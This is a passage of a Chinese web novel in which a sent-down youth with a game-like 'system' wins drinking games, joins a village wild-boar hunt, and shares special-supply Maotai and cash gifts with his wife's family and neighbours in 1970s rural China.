气氛,瞬间一凝。 这是典型的酒桌激将法,简单粗暴,却也最难拒绝。 江沐眼皮都没抬一下,慢条斯理地夹了口菜,淡淡一笑:“振国哥,光喝酒没意思。咱们玩个游戏,输了的喝,怎么样?” “游戏?”李振国一愣。 “老虎、棒子、鸡。”江沐伸出手指,简单明了地解释了一遍规则,“老虎吃鸡,鸡吃虫,虫蛀棒子,棒子打老虎。就这么简单,敢不敢玩?” “有啥不敢的!”李振国脖子一梗,立刻来了兴致,“玩就玩!” 周围的人也都觉得新鲜,纷纷凑过来起哄。 “来!第一把!”李振国大吼一声。 两人同时出手。 “老虎!” “棒子!” 棒子打老虎,江沐输。 他二话不说,端起桌上的小杯,一口干了。 “再来!” “鸡!” “老虎!” 老虎吃鸡,江沐又输了。 他面不改色,又干了一杯。 第三把,他依旧输得干脆利落。 连喝三杯,李振国脸上已经露出了得意的笑容,觉得拿捏住了江沐。 第四把开始。 李振国信心满满地大喊:“老虎!” 江沐后发先至,手势一定:“棒子!” 李振国脸上的笑容瞬间僵住。 江沐指了指那满满一大碗酒,做了个请的手势。 一碗酒下肚。 江沐没再看他,目光转向旁边跃跃欲试的林有乐:“有乐,你来?” “来就来!”林有乐撸起袖子就坐到了李振国的位置上。 “准备好了?”江沐笑问。 “好了!” 电光火石之间,两人出手。 江沐是鸡,林有乐是虫。 这一把,江沐赢得毫无悬念,轻松写意。 第107章 我,就是执掌老虎棒子鸡的神 林有乐那张年轻的脸涨得通红,一半是酒意,一半是少年人特有的不服输的劲头。 他一拍桌子,梗着脖子,一脸不忿:“我不信这个邪!再来!江沐哥,这把我要是再输了,我喝两碗!” 此言一出,院子里顿时又热闹起来,纷纷叫好起哄。 年轻人就爱看这种血脉贲张的场面。 江沐脸上笑意不减。 他慢悠悠地端起面前的小酒杯,轻轻晃了晃,目光落在林有乐身上:“有乐,不用赌那么大。我提前告诉你,这把我出老虎,你可想好了再出。” “啥?” “提前告诉?” 院里瞬间安静下来,所有人的目光都聚焦在江沐身上。 “扯淡!”李振国第一个跳出来,他刚被灌了一大碗,正晕乎着,听见这话,本能地觉得江沐在使诈,“有乐,别听他的!他这是故意放烟雾弹,想让你出棒子!你出虫,稳赢他!” 李振国自以为看穿了一切,说得斩钉截铁。 林有乐也被说得一愣,脑子里飞速盘算。 江沐说他出老虎,李振国说他是骗人的……这…… “想好了吗?”江沐的声音再次响起。 “好了!”林有乐心一横,听了李振国的话,决定反其道而行之。 两人几乎同时出手! 刹那间,时间仿佛凝固。 江沐的手势是虎。 而林有乐,出的却是一只鸡。 老虎吃鸡! 李振国脸上的得意笑容瞬间冻结。 林有乐更是傻了眼,呆呆地看着自己的手,又看看江沐,满脸的不可思议。 “两碗。”江沐指了指桌上的大碗,言简意赅。 接下来的半个小时,彻底颠覆了在场所有人的认知。 江沐就像开了天眼,无论谁上场,无论对方是深思熟虑还是随手一出,他总能稳稳地克制对方。 甚至连老成持重的队长李有柱都忍不住下场试了两把,结果无一例外,全成了江沐碗下之魂。 一时间,院子里只剩下此起彼伏的倒抽冷气声和灌酒声。 终于,当最后一个挑战者被灌得摇摇欲坠后,江沐缓缓站起身,环视一周。 他端起酒碗,朝天一敬,朗声道:“我,就是执掌老虎棒子鸡的神!” 话音刚落,他转头,目光精准地锁定了已经缩到角落里的李振国。 “振国哥,轮到你了。” 李振国一个激灵,酒醒了一半。 “不不不,江沐,我……” “来吧,十把定胜负。”江沐不给他拒绝的机会,直接拉开了架势。 那是一场惨无人道的屠杀。 十把!整整十把! 李振国绞尽脑汁,用了平生所有的心机和算计,却连江沐的衣角都没碰到。 第十把输掉之后,李振国瘫坐在椅子上,举起双手,一脸的生无可恋:“我认栽!我服了!你是神,你是神行了吧!” 江沐轻笑一声,又将目光投向了瑟瑟发抖的林有乐。 林有乐吓得脸都白了,眼看江沐朝自己走来,他猛地捂住肚子,表情痛苦万分:“哎哟!哎哟!江沐哥,我……我肚子疼,去趟茅房!马上回来!” 说完,不等江沐反应,他连滚带爬地冲出院子,那速度,比兔子还快。 有了第一个,就有第二个。 “哎呀,你看我这记性!”李有柱一拍大腿,“我婆娘让我早点回去烧炕,再晚就凉透了!书记,江知青,我先走一步!” “对对对,我家猪圈的门好像没关,我得回去看看!” “我……我想起来我还有件衣服没收!” 转眼间,刚才还热闹非凡的院子,跑得只剩下知青点的几个人。 江沐看着这群落荒而逃的逃兵,觉得有些无趣,他摆了摆手,朗声道:“行了行了,都散了吧,别耽误建设哥的正事!” 最后那句正事,他特意加重了语气,引得陈小军他们一阵哄笑。 众人这才想起今天的主角,合力将已经喝得不省人事的高家爷儿仨抬回各自的房间安顿好,这才心满意足地各自散去。 --- 一夜无话。 第二天,又是周一。 杨小军冲了进来,脸上那笑容,咧得快到耳根子了。 “江沐!大喜事!天大的喜事!”他喘着粗气,激动得满脸通红,“我媳妇……我媳妇有了!” 江沐正在刷牙,闻言动作一顿,随即露出一个真诚的笑容:“恭喜!这可是大好事,满月酒可得请我喝。” “那必须的!”杨小军兴奋地搓着手,从怀里掏出一沓有些发旧的票子,塞到正在收拾东西的张小月手里,“小月妹子,这是你上个月的工资,你点点。” 等杨小军千恩万谢地离开后,张小月捧着那沓钱,激动得小脸放光。 这是她人生中第一份靠自己双手挣来的工资! 她小心翼翼地数了一遍又一遍,捏在手里,感觉沉甸甸的。 江沐擦了把脸,看着她那副宝贝样,不禁莞尔:“这笔钱,打算怎么花?” 张小月闻言,立刻将钱往身后藏了藏,抬起头,偷偷觑着江沐的脸色,小声开口:“我……我想给我爸妈扯块布,给他们做身新衣裳,行吗?” 她生怕江沐觉得她乱花钱,会生气。 江沐看着她那小心翼翼的样子,心里微微一动,走上前,伸手揉了揉她的头,:“这是你的工资,你想怎么花,就怎么花,你说了算。” 得到肯定的答复,张小月重重地点了点头。 “走吧,去公社转转。” 两人并肩走在去公社的土路上,到了公社,路过邮局时,张小月忽然拉了拉江沐的衣袖:“江沐哥,你去问问,家里……有没有给你回信?” 江沐脚步一顿,点了点头。 自从上次寄信回家,已经过去不短时间了。 他走进邮局,没一会儿就出来了,手里多了一个薄薄的信封。 “还真有。”江沐将信揣进兜里,神色看不出喜怒。 “江沐!小月!” 正说着,一个熟悉的声音从供销社门口传来,是张玖博。 张小月见到自家大哥,立刻高兴地跑了过去:“哥!我发工资了!我想给咱爸妈买身新衣服!” 张玖博一听,脸上露出笑容,但随即摆了摆手:“别在供销社买成衣,贵!我再过几天也发工资了,到时候咱们一起扯上几尺好布,让你嫂子或者咱妈给做一身,不是一样?” “那不一样!”张小月立刻反驳,小嘴一撇,“妈做的哪有供销社的好看!针脚也不齐!” 兄妹俩正拌着嘴,供销社里有人喊张玖博,他应了一声,匆匆跟两人告别就进去了。 而江沐发现,这小子,现在话也多了,人也活泛了,不再是以前那个闷葫芦了。 第108章 那虚伪的父爱,不要也罢 等张玖博的身影消失在供销社门后,张小月才仰起小脸:“江沐哥,我们进去吧?” “走。” 七十年代的供销社,货架上的商品远谈不上琳琅满目。 张小月显然是头一遭手握巨款来消费,小脸紧绷,既兴奋又紧张。 她在一排挂着的成衣前站定,手指小心翼翼地拂过一件蓝色的卡其中山装外套,那布料的质感让她爱不释手。 “同志,这件衣裳咋卖?” 售货员是个四十来岁的中年妇女,抬了抬眼皮,语气平淡:“十块钱,再加二尺布票。” 张小月暗暗咋舌。 十块钱! 这几乎是她一个多月的工资了! 但一想到父亲张峰那件洗得发白的旧外套,她又咬了咬牙。 “就要这件!”她下了决心,又转头去挑女式的。 给母亲挑了一件颜色耐脏的深灰色外套,又比着尺寸,给二老各扯了一条黑色的涤卡裤子。 最后,她的目光落在了柜台里的烟酒上。 “再来两条大生产,一瓶西凤酒。” 这一通操作下来,她那点工资瞬间就见了底。 可张小月捧着这些东西,心里却甜滋滋的。 就在江沐以为她要收手时,张小月却又走回烟草柜台,指着一种用白纸盒包装的香烟,小声问:“同志,那个金丝猴……多少钱?” “三毛二一包,要烟票。” 张小月眼都不眨,直接从兜里掏出剩下的钱和票:“来一条。” 售货员麻利地包好,递给她。 张小月捧着那一条烟,转身,递到江沐面前:“江沐哥,这个……是给你的。” 江沐一怔,随即摆了摆手:“我不要,家里的烟还没抽完。” “那不一样!”张小月急了,小脸涨得通红,固执地将烟往他怀里塞,“这是我……我用自己挣的钱给你买的!你帮了我那么多,我……” 她的话语有些颠三倒四,但那份真挚却滚烫。 望着女孩的眼睛,江沐心头一软。 他伸手接过那条烟。 “好,我收下。” 见他收下,张小月这才破涕为笑。 两人随后又去粮站,凭着粮本和粮票,买了些粗粮和几斤精贵的大米。 大米是给张小月父母的,江沐自己对口粮没什么要求。 东西不少,两人分担着,一路往张家走。 可到了地方,却发现张峰家那扇简陋的木门上,挂着一把老旧的铜锁。 “咦?我爹娘咋不在家?”张小月有些纳闷。 江沐扫了一眼院角堆放的药锄和背篓,心中了然:“应该是上山挖草药去了。” “也对哦。”张小月恍然大悟。 两人进了院子,将衣物、烟酒和粮食整齐地放在堂屋的八仙桌上,又仔细地将门重新锁好,这才转身离开。 回到家,张小月便兴冲冲地去拾掇她的那些宝贝草药了,哼着不成调的小曲,显然心情极佳。 江沐则走进屋里,从兜里掏出了那个来自家的信封。 他面无表情地撕开,里面掉出来的,不是预想中那几句无关痛痒的问候,而是一张汇款单。 ——贰佰圆整。 这倒是有些出乎他的意料。 信纸上是父亲江东山熟悉的、略带潦草的字迹。 内容和他猜想的别无二致,先是公式化地祝贺他成婚之喜,又语重心长地叮嘱他要好好过日子、照顾好自己和媳妇。 江沐的眼神不起丝毫波澜。 他早就习惯了。 这封信,不过是江东山又一次懦弱的自我安慰罢了。 用钱,来填补他那点可怜的、无处安放的父爱与愧疚。 只是这一次,手笔倒是大了不少。 想来,这应该是江东山攒了许久的私房钱,背着苏红霞偷偷寄出来的。 江沐将信纸随手扔到一边,那张汇款单却被他仔细地收了起来。 钱是好东西,那虚伪的父爱,不要也罢。 下午,陆续有村民背着草药过来交易。 人明显比前些天少了很多,山里那些容易采挖的野酸枣根几乎被刨绝了,如今还敢进山的,都是些胆子大的老手。 天色擦黑,约莫七点光景,院门外传来熟悉的脚步声,张峰黝黑的身影出现在门口,肩上还扛着一个鼓鼓囊囊的麻袋。 “江沐,在家呢?”他嗓门洪亮,“下午是不是你和小月来过我家?” “是小月,她发了工资,非要给您和妈买点东西。”江沐从屋里迎出来,接过他肩上的麻袋,入手极沉。 张峰一听,脸顿时一板,吹胡子瞪眼:“这个败家女!挣两个钱就不知道姓啥了!买啥衣裳?我这身不是还能穿!还买烟买酒,乱花钱!” 他嘴里数落得厉害,可眼睛里,却闪烁着藏不住的笑意。 --- 翌日清晨,大队长李有柱的大嗓门响了起来。 “都起来!都起来!公社开过会了,从今天起,不准再私自进山挖药了!地里的玉米都熟透了,再不抢收,让山里的畜生拱了,咱们今年冬天就得喝西北风!” 话音刚落,他又换了个话题:“为了保卫胜利果实,我寻思着,组织几个人,进山去会会那帮吃庄稼的野猪!有愿意的没?算工分的!” 打野猪,既刺激又能给队里除害,还能分到肉,村里的青壮年向来踊跃。 “我去!” “算我一个!” 嘈杂的报名声中,江沐的声音插了进来:“队长,也算我一个。” 李有柱回头,看到是江沐,眼睛一亮:“好小子,有胆色!那就这么定了!” 又过了一天,天还未亮透,江沐的小院就热闹起来。 高建设牵着他家那条威风凛凛的大黄狗,身后还跟着几个人。 “江沐,家伙事儿都带齐了?” 江沐点点头,拍了拍身边两只健硕的土狗——虎虎和生威。 这两条狗体格和凶猛程度远超村里其他的土狗。 一行六人,三条猎犬,浩浩荡荡地上了山。 然而,期望中的遭遇战并未发生。 他们在山林里转悠了整整一个上午,别说野猪了,连根猪毛都没看见。 “他娘的,这帮畜生是闻到风声,提前跑路了?”老猎户周翔啐了口唾沫,有些泄气。 众人脸上都带着失望。 高建设擦了把汗,看向江沐,征求他的意见。 江沐眯着眼,打量着村民们平日里绝不敢轻易涉足的深山。 周翔顺着他的目光看去,沉吟片刻,一咬牙,狠声道:“下午,咱们再往里走走!我就不信这个邪,还能让它们跑了!实在不行,今天就算逑!” 第109章 这两条狗,简直成精了! 简单的午饭就着山泉水囫囵下肚,连个打盹的功夫都没有,一行人便再次起身。 虎虎和生威两条猎犬成了开路先锋,它们的鼻子贴着地面,在潮湿的泥土和腐叶中仔细嗅探,尾巴警惕地竖着。 时间一分一秒地流逝,众人的耐心也如林间的雾气般,渐渐被消磨殆尽。 “妈的,真见了鬼了!”又走了将近一个小时,高建设终于忍不住骂出了声,一屁股坐在一截倒塌的朽木上,“这深山老林里,连个鸟叫都听不见!” 其他几人也是垂头丧气,水壶里的水都快喝完了,却连半点野猪的踪迹都没发现。 就在这时,一直沉默地在前方探路的生威,突然停下脚步,喉咙里发出一阵低沉的声音,前爪焦躁地刨着地面。 江沐一个箭步上前。 众人精神一振,全都围了过去。 只见生威刨开的腐叶下,赫然是一坨还冒着热气的深色粪便! “是新鲜的!”周翔压低了声音,“这帮畜生就在附近!” 所有人的疲惫一扫而空。 “追!” 不用江沐吩咐,虎虎和生威骤然窜了出去! “跟上!”江沐低喝一声,紧随其后。 一行人在林间疯狂穿行,两条猎犬的吠叫声在前方引路,时远时近。 这一追,便是足足半个小时! 最终,在一处被巨大岩石环绕的洼地里,虎虎和生威停了下来,对着洼地中央狂吠不止。 众人气喘吁吁地赶到,拨开身前的灌木丛。 洼地中央是一个巨大的泥潭,此刻,泥潭里正横七竖八地躺着一群黑黢黢的庞然大物! 一头体型最为硕壮、獠牙外翻的公野猪,两头正在给猪仔喂奶的母猪,还有五只哼哼唧唧、在泥里打滚的小猪仔。 整整八头! 一个完整的野猪群! 周翔舔了舔干裂的嘴唇,回头,对众人做了个噤声的手势,用气音下令。 “先打大的!江沐,看好你的狗,别让它们冲上去受伤!” 这话里的意思再明白不过,这种硬骨头,得靠枪子儿来啃。 几人立刻散开,各自找好射击位置,黑洞洞的枪口从不同的角度,死死锁定了那头打着响鼻的公野猪和两头母猪。 “打!” 随着周翔一声暴喝,三声枪响几乎同时炸裂! 凄厉的惨嚎声冲天而起。 那头公野猪的脖颈处炸开一团血花,庞大的身躯猛地一颤,挣扎着想要站起,却轰然倒下,鲜血瞬间染红了泥潭。 另一头母猪也中了弹,拖着一条血淋淋的后腿,疯狂地朝林子深处逃窜。 剩下那头没受伤的母猪受了惊,尖叫一声,领着五只吓得四处乱窜的小猪仔,一头扎进了密林! “妈的,跑了一头!”高建设怒骂一声,就要追上去。 江沐立刻吩咐,“虎虎!生威!去!” 早已按捺不住的两条猎犬咆哮着冲了出去! 它们的目标不是那头受伤的成年母猪,而是那几只慌不择路的小猪仔! 没过多久,此起彼伏的凄惨哼叫声便在林中响起,又很快归于沉寂。 片刻之后,虎虎和生威一前一后地跑了回来,各自嘴里都拖着一头喉管被咬断、还在抽搐的小野猪。 江沐立刻上前,仔细地给两条爱犬检查了一遍,确认它们身上没有半点伤口,这才放下心来。 其余几人看着这一幕,心里暗自咋舌。 这两条狗,简直成精了! “别愣着了!快,就地放血!”周翔大声指挥,“两个人抬一头,赶紧下山!” 众人立刻忙活起来,用随身带的刀子割开野猪的喉咙。 回去的路远比来时更艰难。 两人一组,用粗壮的树干抬着上百斤的野猪。 在下山的路上,眼尖的虎虎和生威竟又从草丛里扑出了几只肥硕的野兔,算是意外之喜。 当江沐一行人扛着猎物,满身血污地出现在村口时,整个青莲公社都沸腾了。 张小月在小院里坐立不安了一整天。 听到村里的喧哗,她再也坐不住,跑出去。 当看到虎虎和生威活蹦乱跳地跟在江沐身边时,她才松了口气。 “回来了!打到野猪了!” 李有柱闻讯赶来,看到那几头死沉的野猪,大手一挥:“都过来帮忙!把肉分了!今天晚上,家家户户都能闻到肉香!” 江沐将自己分到的猪肉和那几只野兔拎回家,张小月已经默默地在院子里摆好了木盆,准备收拾兔子。 江沐看着她熟练的动作,心中一动。 他想试试自己那大师级刀具精通到底有多厉害。 “你去把饭焖上,这个我来。” 张小月顺从地点点头,转身进了厨房。 江沐拿起那把系统出品的精钢剁骨刀,深吸一口气。 他手腕一翻,刀光如练。 手起刀落,兔皮应声而解,快得让人眼花缭乱。不过短短几分钟,一只完整的兔子就被他处理成了大小均匀的肉块,整齐地码放在盆里。 这效率,简直骇人听闻! 当晚的伙食丰盛得不像话,红烧兔肉的香味飘满了整个小院。 张小月又特意给虎虎和生威两个大功臣的盆里加满了肉块。 起初,她看到这两条狗吃得比人还好,心里还觉得肉疼,可现在,她早已习以为常,甚至觉得理所当然。 第二天,李有柱便扯着嗓子,开始安排秋收的工作。 江沐依旧被安排负责运输。 而张小月则和张兰等几个手脚麻利的妇女,负责给下地的大伙儿做饭。 掰玉米棒子、晾晒、种小麦、搓玉米粒……一环扣一环,忙得脚不沾地。 等最后将选好的公粮送到粮站,忙完这一切,时间已经悄然滑到了十月底。 公社的农活一结束,闲下来的村民们又动了心思,三三两两地结伴进山,继续挖药材贴补家用。 江沐则把自己关在屋里,将之前收购的药材全部取了出来,开始搓起了滋补丹。 有了上次的经验,这次他的速度更快,整整一千颗乌黑油亮、药香扑鼻的药丸,在他手中诞生。 没过几天,杨小军就开着吉普车,悄悄地来到了江沐家。 他取走药丸,第二天又匆匆赶了回来,脸上的兴奋和崇拜几乎要溢出来。 “江医生!我爹说……他说他这位置,还能再往上走走!到时候,就让我接他的班!” 杨小军激动得语无伦次,他从车里搬下一个沉甸甸的布包,还有一个木箱子,重重地放在江沐面前的桌上。 布包打开,里面是厚厚一沓大团结,码放得整整齐齐。 “江沐哥,这是五千块!我爹让我给你的!他说这药,值这个价!” 他又打开木箱,里面是几条中华香烟和几瓶特供的茅台酒,这些东西,在市面上根本见不到。 第110章 这是给当大官的特供酒 面对眼前这市面上见都见不到的特供烟酒,江沐的眉头却微微皱了起来。 这世上,没有无缘无故的爱,更没有平白无故的厚礼。 “杨大哥,你这是什么意思?”江沐的声音听不出喜怒,“无功不受禄,这礼太重了。” “哎,江医生,你可千万别这么想!”杨小军见他面色不对,急得连连摆手,“这……这都是我爸的意思!他说你这药五千块都给少了!他还说,想请你得空去县里,他做东,咱们好好喝一顿!” 原来只是单纯的感谢和结交。 江沐心中了然,神色缓和下来。 他现在还不想过早地和这些干部阶层产生太多纠葛。 “替我谢谢杨叔叔的好意。”江沐将布包推了回去,“心意我领了,但这东西,你还是拿回去。” “那可不行!”杨小军把布包又推了回来,态度异常坚决,“江沐哥,你要是不收,我爸非得打断我的腿不可!这是他死命令!你就当……就当是给我个面子!” 话说到这份上,再推辞就显得矫情了。 江沐不再坚持,点了点头。 杨小军这才如释重负,又寒暄了几句,便开着那辆惹眼的吉普车,消失在了村口。 院子里,张小月呆呆地看着桌上的木箱,眼睛瞪得溜圆,她小心翼翼地伸出手指,碰了碰那印着贵州茅台酒的白色瓷瓶,又飞快地缩了回来,仿佛那瓶子烫手。 “江沐哥……这酒,得老贵了吧?”她的声音都在发颤。 “这不是贵不贵的问题。”江沐拿起一瓶,在手里掂了掂,瓶身沉甸甸的,透着一股特殊的质感,“这是特供酒,有钱也买不到。专门供给那些大干部的。” 他又指了指那几条红彤彤的中华香烟,“这些也一样。” 这些东西已经超出了张小月的认知范畴。 江沐看着她震惊的模样,心中一动,“你爹不是好喝两口吗?回头给他拿两瓶过去。” “那可使不得!”张小月想也不想就摇头,小脸绷得紧紧的,“这么金贵的东西,给我爹喝,那不是跟牛嚼牡丹一样?他……他舍不得的!” 她心里清楚,这酒要是真拿回家,她爹怕是会把它当成传家宝供起来,每天看上几遍,也绝不舍得拧开瓶盖。 张小月蹲下身,把那沓大团结又数了一遍,加上之前卖药剩下的钱,她的呼吸都急促了。 “江沐哥……”她抬起头,“咱们……咱们现在是不是就是书里说的那种……万元户了?” 万元户这个词,在如今这个年代,就如同一个金光闪闪的传说,是普通人想都不敢想的财富巅峰。 江沐却只是淡然一笑。 钱?对他来说,在眼下这个特殊的时代,不过是一串没什么意义的数字。 它们真正的价值,要等到未来那个风起云涌的时代,才能彻底爆发出来。 而另一边,张玖博揣着自己攒了两个月的工资,咬了咬牙,去供销社称了二斤槽子糕,又割了一块肉,这才领着爹娘,硬着头皮,朝着江沐家的方向走去。 当张小月在院子里看到自己爹娘和哥哥提着东西站在门口时,整个人都懵了。 “爹?娘?哥?你们怎么来了?” “虎虎!快去!把江沐哥叫回来!”她反应过来,立刻拍了拍身边大狗的脑袋。 虎虎撒开四条腿就朝后山跑去。 张小月手忙脚乱地把爹娘请进屋,又拿出搪瓷缸子给他们泡上热茶。 江沐正在后山练习刀法,听见虎虎的叫声,便知是张小月有事寻他,立刻收刀赶了回来。 一进院门,就看到堂屋里坐着的张峰一家。 张小月连忙迎上去,压低声音在他耳边解释,“我哥说,他是特地来谢谢你之前帮他找工作的事儿,还带了这么多东西来。” 江沐的目光扫过桌上那块肉和一包点心,心中了然。 他大步走进屋。 “爸妈,玖博哥,来就来,还带什么东西,太客气了!” 他一挥手,显得格外豪气,“正好,都别走了!中午我炒两个菜,咱们一起喝点!我这儿刚好有两瓶好酒!” 一听到好酒两个字,原本还有些拘谨的张峰,眼睛瞬间就亮了。 “啥好酒啊?给爸瞅瞅?” “你瞅啥瞅!一天到晚就知道喝!”刘桂芝狠狠瞪了自家男人一眼,随即换上一副精明的笑脸,对着江沐,“小江啊,那好酒你可得自己留着!以后求人办事啥的,这可是硬通货,可不能就这么喝了!” 江沐却不以为意地摆了摆手,“妈,酒嘛,不就是拿来喝的?放着也是落灰。您就别管了!” 说完,他转身进了里屋,再出来时,手里已经多了两瓶白瓷瓶的茅台。 张峰的视线立刻被那两瓶酒黏住了。 他伸长了脖子,仔細端详着瓶身上的红色标签,脸上满是困惑,“这……这是啥牌子的?咱县里的供销社,没见过卖这个的啊?” “爹,这可不是供销社里卖的大路货!”张小月挺起胸膛,脸上带着几分与有荣焉的骄傲,“这是给当大官的特供酒!” “啥?!” 张峰的手猛地一哆嗦,差点把手里的搪瓷缸子给摔了。 “使不得!使不得!”他把头摇得像拨浪鼓,“这么金贵的酒,给咱喝,那不是糟蹋东西吗!快收起来!快收起来!” 江沐看着他这副模样,不由得失笑。 他不再废话,右手拇指和食指捏住瓶盖,只听一声轻响,那层红色的封膜便被他撕开,随即手腕一拧,瓶盖应声而开。 一股醇厚浓郁的酱香,瞬间从瓶口喷薄而出,刹那间弥漫了整个堂屋! 这霸道的酒香,让张峰的喉结不受控制地上下滚动了一下。 江沐拿起一个干净的粗瓷碗,也不用酒盅,直接给张峰倒了满满一碗。 “爸,”江沐将酒碗推到他面前,“尝尝。” 张峰看着那碗酒,脸上满是挣扎和肉痛,但那勾魂的酒香,却让他实在挪不开眼睛。 他一咬牙,一闭眼,端起碗,小心翼翼地抿了一小口。 酒液入口,绵柔醇厚,一线火辣瞬间从舌尖窜到喉咙,随即化作一股暖流,涌入四肢百骸,最后,一股难以言喻的甘甜和酱香,在口腔中轰然炸开! 张峰的眼睛豁然睁大,脸上满是陶醉。 江沐看着他的表情,嘴角上扬。 “怎么样?” 第111章 非酋附体了是吧 “好!好酒!这绝对是好酒!” 张峰激动得一拍大腿,“俺喝了一辈子烧刀子,就没尝过这么带劲的!入口不呛!关键是这后劲儿,满嘴都是粮食的香味儿,乖乖!” 这副没见过世面的样子,让旁边的刘桂芝嫌弃地撇了撇嘴。 江沐淡然一笑,又提起酒瓶,给旁边的张玖博也倒了一碗。 “玖博哥,你也尝尝。” “哎,好。”张玖博比他爹稳重多了,端起碗,学着刚才江沐的样子,先闻了闻,才小心地抿了一口。 只一口,他的眼睛也亮了。 “确实不一样。”他咂了咂嘴,由衷地感叹,“比县里国营饭店卖的西凤酒,还要好喝得多!” 角落里的张小虎,早就被这酒香勾得直咽口水,此刻再也忍不住,凑了过来。 “哥,我也想尝尝……” 话还没说完,后脑勺就挨了刘桂芝一巴掌。 “尝尝尝!小孩子家家的喝什么酒!一边玩去!”刘桂芝柳眉倒竖,没好气地呵斥。 张小虎委屈地瘪了瘪嘴,不敢再吭声,灰溜溜地跑出屋子,找院子里正摇着尾巴的虎虎和生威玩去了。 屋里的气氛又热烈起来。 眼看快到晌午,刘桂芝扯了扯张小月的衣袖,使了个眼色,“走,小月,去做饭!” “好嘞,娘!” 厨房里,张小月手脚麻利地洗菜切肉。 当她拿起油罐子,对着烧得滚烫的铁锅豪迈地一倾斜,清亮的豆油一下倒进去小半罐,刺啦作响。 刘桂芝的眼皮子猛地一跳,心脏都跟着抽了一下,一个箭步冲上去,劈手夺下油罐子。 “你这死丫头!疯了不成!”她压低了声音,手指头差点戳到张小月的脑门上。 “过日子哪有你这么过的?这油不要油票啊?一顿饭就倒了咱家半个月的量!你这是要做菜还是喝油?败家!真是败家!” 张小月被骂得一愣,随即有些委屈地小声嘟囔,“娘,我们平时……平时就这么吃的啊。江沐哥说,油水足,身上才有力气。” “平时也这样?”刘桂芝简直不敢相信自己的耳朵。 就在这时,张小月又拿起一个大盆,把切好的肉末和一些杂粮混在一起,倒上热水搅和。 “你这又是干啥?”刘桂芝警惕地盯着她。 “给虎虎和生威做饭啊。”张小月答得理所当然。 刘桂芝眼前一黑,差点没气晕过去。 她指着那盆色香味俱全的狗食,手指都在发抖,“人吃的肉……你给狗吃?你……你们俩,真是败家子!” 在这个年代,人能吃饱饭就不错了,哪有拿精贵的粮食和肉喂狗的道理! “也不是顿顿都吃这个。”张小月见她娘气得不轻,赶紧解释,“虎虎和生威可厉害了,它们经常自个儿上山抓兔子、抓野鸡呢!今天不是你们来了嘛,给它们也改善改善伙食。” 刘桂芝张了张嘴,最后却一个字也说不出来。 闺女大了,有自己的主意了。 她看着这宽敞的院子,看着屋里那些她见都没见过的金贵东西,心里一阵发堵。 她管不了了。 刘桂芝叹了口气,索性眼不见为净,扭头去灶膛后头烧火去了。 …… 午饭过后,张家人执意要走。 江沐也不多留,转身进屋,拿了两瓶没开封的茅台和几条中华烟,用布袋子装好,硬塞到张峰怀里。 “爸,这个你拿回去,慢慢喝。” 张峰抱着那两瓶沉甸甸酒,激动道,“这……这咋好意思呢!” 嘴上客气着,手却把布袋子抱得死死的。 送走了依依不舍的张家人,院子里又恢复了安静。 江沐看着张小月在收拾碗筷,随口问了一句,“吃饭的时候,我看妈好像不太高兴?” 张小月的动作一顿,小声地把厨房里那场风波说了一遍。 “……我娘就是心疼粮食,觉得我们太败家了,连虎虎和生威都吃得那么好。” 江沐听完,只是笑了笑,没放在心上。 他心里盘算着,又从木箱里拿出两瓶茅台。这人情世故,得做到位。 他先是去了大队长李有柱家。 “姑夫,在家吗?” 李有柱正蹲在门口抽旱烟,见江沐来了,连忙起身。 他媳妇张兰也从屋里迎了出来。 “江沐啊,快进屋坐!” “不了姑姑,我就是顺道过来,给姑夫送两瓶酒。”江沐把酒递过去。 张兰一看那包装,就连连摆手,“哎哟,这可使不得!这么好的酒,你留着自己喝,或者送给那些大领导办事用!他尝不出啥好赖味儿!” “姑姑,话不能这么说。”江沐态度坚决,直接把酒塞进李有柱怀里,“姑夫平时没少关照我,这就是我一点心意。酒再好,也是给人喝的。” 说完,不给他们拒绝的机会,转身就走。 接着,他又拐到了高志强家。 高志强正在院里劈柴,见到江沐和手里的酒,也是一番推脱。 “江沐,你这太客气了!” 江沐同样强硬地把酒塞给他,“高叔,以后队里有事,还得你多帮忙。” 高志强推脱不过,只好收下,心里对江沐的为人又高看了几分。 …… 夜深人静。 江沐躺在床上,意识沉入脑海。 【声望商城】的面板上,右上角的声望值正在以肉眼可见的速度,一点一点地往上涨。 +1……+2……+1…… 显然,杨小军带回去的那些滋补丹,持续不断地为他提供着声望。 很快,声望值就突破了一千大关。 又可以十连抽了! 江沐的心头一阵火热。 上次的大师级刀具精通,可是让他受益匪浅。这次,不知能抽出什么好东西? “系统,来个十连抽!” 【叮!消耗1000声望值,进行十连抽……】 面板上,十张卡牌飞速旋转,最终化作十道光芒。 白光…… 白光…… 还他娘的是白光…… 一连十道刺眼的白光闪过,江沐的脸,当时就黑得跟锅底一样。 【叮!恭喜宿主获得:肥皂一块、毛巾一条、牙膏一支、铁锅一个、酱油一瓶、食盐一包……】 全是些不值钱的生活用品! 江沐差点一口老血喷出来。 这该死的系统,非酋附体了是吧?! …… 第二天一早,江沐浑身散发着生人勿近的低气压。 张小月给他端上早饭,小心翼翼地问,“江沐哥,你咋了?脸色这么难看?” “没事。”江沐闷闷地扒拉着碗里的玉米糊,“昨天晚上没睡好。” 他总不能说,自己因为抽奖沉船,气得一晚上没睡着吧? 正吃着饭,院外突然传来一阵汽车的轰鸣声,由远及近,最后停在了门口。 江沐放下碗筷,刚走到院门口,就看到杨小军正满脸喜色地从一辆吉普车上跳下来,紧随其后的,还有他的老丈人,以及……两个熟悉的身影。 周胜利老爷子和周大强。 第112章 想活命,就得拿出诚意来 江沐心头那点因抽奖沉船而生的郁气,瞬间被眼前这活生生的奇迹冲得烟消云散。 他快步迎了上去,本能地伸手搭上周胜利的手腕。 “周老爷子,您这身体……”江沐眉头一紧,沉声叮嘱,“恢复得是不错,切忌过度劳累,更不能动气。” “哈哈!江沐同志,你就是我的恩人!”周胜利反手紧紧握住江沐的手,声音洪亮如钟,“什么劳累不劳累的!能让俺这把老骨头在闭眼前活得像个人样,不那么遭罪,你就是给了我一条新命!” 他身旁的周大强也是一脸感激涕零,一个劲儿地鞠躬,“江沐大夫,真是太谢谢您了!我爸他……” “先进屋说,外面风大。”江沐打断了他的话,侧身将一行人往院里让。 张小月有些拘谨地站在门边,看着这阵仗,特别是那辆崭新的吉普车和来人身上那股子说不清道不明的气势,小手紧张地攥着衣角。 “这是张小月,我的……妻子。”江沐简单介绍了一句。 “小月丫头,去泡茶。” “哎,好嘞!”张小月得了指令,连忙转身进了厨房。 杨小军则嘿嘿笑着,从吉普车上往下搬东西,一趟又一趟,很快就在堂屋墙角堆起了一座小山。 